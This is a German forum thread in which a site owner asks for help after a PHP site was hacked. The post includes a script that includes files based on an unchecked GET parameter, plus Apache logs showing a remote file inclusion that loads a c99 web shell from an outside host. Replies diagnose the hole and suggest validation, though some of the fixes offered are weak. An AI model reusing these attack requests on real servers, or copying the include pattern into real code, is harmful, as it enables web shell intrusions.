Script Sicherheitslücke

schleckerbeck

Erfahrenes Mitglied
Hi,

hab heute mit Erschrecken festgestellt, das meine Website aufgrund eines Fehlers im PHP Skript geknackt wurde. Hab hier mal die Datei und dann noch nen Auszug aus den Apache2 Logs:

PHP:
<?php
if (strpos($_POST[name], '://') !== FALSE || strpos($_POST[name], '../') !== FALSE)
  die('Illegal string');
require("db.inc.php");

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>main</title>
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body bgcolor="#FFFFFF" style="background-image:url(main.jpg); background-repeat:no-repeat; background-attachment:fixed; padding:0px;">

<div style="position:absolute; left:138px; top:0px; z-index:0">
<?php

echo "<img src=\"".$_GET[name]."/".$_GET[name].".jpg\" alt=\"\" border=\"0\">";

?>
</div>

<div style="position:absolute; left:0px; top:150px; width:133px">

<?php
if (strpos($_GET[name], '://') !== FALSE || strpos($_GET[name], '../') !== FALSE)
  die('Illegal string');

if($_GET[name]=="ergebnisse")
{
include($_GET[name]."/sub.php");
}

?>

</div>

<div style="position:absolute; left:145px; top:75px; width:580px; z-index:1">

    <?php
    
    include($_GET[name]."/index.php");
    
    ?>

</div>

</body>
</html>

Und hier der Apache Auszug:

PHP:
196.3.62.3 - - [08/Jul/2006:19:40:45 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=home HTTP/1.1" 200 918
196.3.62.3 - - [08/Jul/2006:19:40:46 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=back HTTP/1.1" 200 828
196.3.62.3 - - [08/Jul/2006:19:40:47 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=forward HTTP/1.1" 200 828
196.3.62.3 - - [08/Jul/2006:19:40:48 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=up HTTP/1.1" 200 908
196.3.62.3 - - [08/Jul/2006:19:40:50 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=refresh HTTP/1.1" 200 909
196.3.62.3 - - [08/Jul/2006:19:40:51 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=search HTTP/1.1" 200 959
196.3.62.3 - - [08/Jul/2006:19:40:53 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=buffer HTTP/1.1" 200 872
196.3.62.3 - - [08/Jul/2006:19:40:54 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=sort_asc HTTP/1.1" 200 794
196.3.62.3 - - [08/Jul/2006:19:40:55 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=small_dir HTTP/1.1" 200 873
196.3.62.3 - - [08/Jul/2006:19:40:56 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_diz HTTP/1.1" 200 1736
196.3.62.3 - - [08/Jul/2006:19:40:58 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=change HTTP/1.1" 200 999
196.3.62.3 - - [08/Jul/2006:19:40:58 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=download HTTP/1.1" 200 870
196.3.62.3 - - [08/Jul/2006:19:41:01 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_gif HTTP/1.1" 200 884
196.3.62.3 - - [08/Jul/2006:19:41:00 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_lnk HTTP/1.1" 200 1281
196.3.62.3 - - [08/Jul/2006:19:41:03 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_png HTTP/1.1" 200 884
196.3.62.3 - - [08/Jul/2006:19:41:03 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_php HTTP/1.1" 200 788
196.3.62.3 - - [08/Jul/2006:19:41:05 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_jpg HTTP/1.1" 200 884
196.3.62.3 - - [08/Jul/2006:19:41:06 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_html_ HTTP/1.1" 200 1743
196.3.62.3 - - [08/Jul/2006:19:41:07 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_html HTTP/1.1" 200 939
196.3.62.3 - - [08/Jul/2006:19:41:08 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_zip HTTP/1.1" 200 1286
196.3.62.3 - - [08/Jul/2006:19:41:10 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_css HTTP/1.1" 200 843
196.3.62.3 - - [08/Jul/2006:19:41:12 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=arrow_ltr HTTP/1.1" 200 797
196.3.62.3 - - [08/Jul/2006:19:42:27 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=home HTTP/1.1" 200 918
196.3.62.3 - - [08/Jul/2006:19:42:21 +0200] "POST /main.php?name=http://ernealizm.com/shell/c99.txt? HTTP/1.1" 200 80484
196.3.62.3 - - [08/Jul/2006:19:42:31 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=back HTTP/1.1" 200 828
196.3.62.3 - - [08/Jul/2006:19:42:34 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=forward HTTP/1.1" 200 828
196.3.62.3 - - [08/Jul/2006:19:42:36 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=up HTTP/1.1" 200 908
196.3.62.3 - - [08/Jul/2006:19:42:36 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=refresh HTTP/1.1" 200 909
196.3.62.3 - - [08/Jul/2006:19:42:38 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=search HTTP/1.1" 200 959
196.3.62.3 - - [08/Jul/2006:19:42:39 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=buffer HTTP/1.1" 200 872
196.3.62.3 - - [08/Jul/2006:19:42:40 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=sort_asc HTTP/1.1" 200 794
196.3.62.3 - - [08/Jul/2006:19:42:41 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=small_dir HTTP/1.1" 200 873
196.3.62.3 - - [08/Jul/2006:19:42:42 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_diz HTTP/1.1" 200 1736
196.3.62.3 - - [08/Jul/2006:19:42:43 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=change HTTP/1.1" 200 999
196.3.62.3 - - [08/Jul/2006:19:42:45 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=download HTTP/1.1" 200 870
196.3.62.3 - - [08/Jul/2006:19:42:45 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_lnk HTTP/1.1" 200 1281
196.3.62.3 - - [08/Jul/2006:19:42:47 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_html HTTP/1.1" 200 939
196.3.62.3 - - [08/Jul/2006:19:42:47 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_gif HTTP/1.1" 200 884
196.3.62.3 - - [08/Jul/2006:19:42:50 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_php HTTP/1.1" 200 788
196.3.62.3 - - [08/Jul/2006:19:42:50 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_png HTTP/1.1" 200 884
196.3.62.3 - - [08/Jul/2006:19:42:52 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_jpg HTTP/1.1" 200 884
196.3.62.3 - - [08/Jul/2006:19:42:52 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_html_ HTTP/1.1" 200 1743
196.3.62.3 - - [08/Jul/2006:19:42:54 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_zip HTTP/1.1" 200 1286
196.3.62.3 - - [08/Jul/2006:19:42:54 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=ext_css HTTP/1.1" 200 843
196.3.62.3 - - [08/Jul/2006:19:42:57 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=arrow_ltr HTTP/1.1" 200 797
196.3.62.3 - - [08/Jul/2006:19:44:12 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=back HTTP/1.1" 200 828
196.3.62.3 - - [08/Jul/2006:19:44:14 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=home HTTP/1.1" 200 918
196.3.62.3 - - [08/Jul/2006:19:44:16 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=forward HTTP/1.1" 200 828
196.3.62.3 - - [08/Jul/2006:19:44:19 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=up HTTP/1.1" 200 908
196.3.62.3 - - [08/Jul/2006:19:44:21 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=refresh HTTP/1.1" 200 909
196.3.62.3 - - [08/Jul/2006:19:44:23 +0200] "GET /main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=search HTTP/1.1" 200 959
196.3.62.3 - - [08/Jul/2006:19:44:07 +0200] "POST /main.php?name=http://ernealizm.com/shell/c99.txt? HTTP/1.1" 200 82141

Kann es sein, das durch die vielen GET Anfragen der Apache irgendeine Sicherheitslücke hat? Eine Überprüfung, ob die Variable $name irgendwelchen fremden Code (z.B. URL'S) enthält, hätte ich ja eingebaut.

Bitte um HILFE!

thx!
 
Stimmt, aber wenn ich die URL aufrufe per main.php?name=http%3A%2F%2Fernealizm.com%2Fshell%2Fc99.txt%3F&act=img&img=home Dann zeigt er mir den "Illegal String" an. Bedeutet %3A%2F%2 wahrscheinlich :// oder? Gibts da ne Liste, wo man das nachschauen kann?
 
Nicht Apache hat die Sicherheitslücke sondern dein PHP-Skript. Denn die von außen kommenden Argumente werden kaum validiert. So ist es ein gefundenes Fressen für Cross-Site Scripting. Eine einfache Validierung wäre etwa zu prüfen, ob die übergebenen Werte – in diesem fall eine Pfadangabe – überhaupt zu einer Gruppe gewünschter Werte gehört. So könnte bei Pfadangaben geprüft werden, ob die Datei/das Verzeichnis überhaupt existiert.
 
Aha, wie wärs damit: Ich überprüf, ob die Variable $name größer ist als 6 Zeichen. Weil mehr wird auch nicht darin gespeichert. Dann dürfte ein Angreifer nur noch bis zum "http:/" kommen. Oder hat wer ne bessere, sichere Idee? Wie würde der Code für eine Pfad überprüfung aussehen?

Danke!
 
Wenn du sagst, dass die vermeintlichen Angriffe sowieso ins Leere laufen („Illegal String“), bedarf es nicht unbedingt einer Verbesserung. Am besten wäre es jedoch, wenn du die erlaubte Wertmenge genau definierst (etwa mithilfe regulärer Ausdrücke).
 
Ich hab's jetzt so realisiert: Hab einfach eine Abfrage gemacht, ob die Variable $_GET[name] größer als 5 Zeichen ist, wenn ja, die('Illegal string'); ansonsten, passts.

Was ich jedoch immer noch nicht kapiere ist folgendes: Ich binde die Dateien mit $_GET[name] ein. Die Dateien wurden jedoch immer über $_POST eingeschleust. Hab das mit dem Datum überprüft.

Vielleicht weiß da noch jemand Rat.

thx!
 
Auch bei den, gerademal, 2 Log-Eintraegen die ueber POST laufen kommt der Parameter ueber GET, denn er ist an den URL angehaengt. Dass die Anfrage ueber POST versandt wird aendert nichts daran, dass per URL uebertragene Daten aus $_GET kommen.
 
Aha, danke für die Antwort. Is irgendwie logisch... :p

Meint ihr das Problem ist gelöst, wenn ich die eine Überprüfung auf die Länge des Strings mit einbaue?
 

Neue Beiträge

Zurück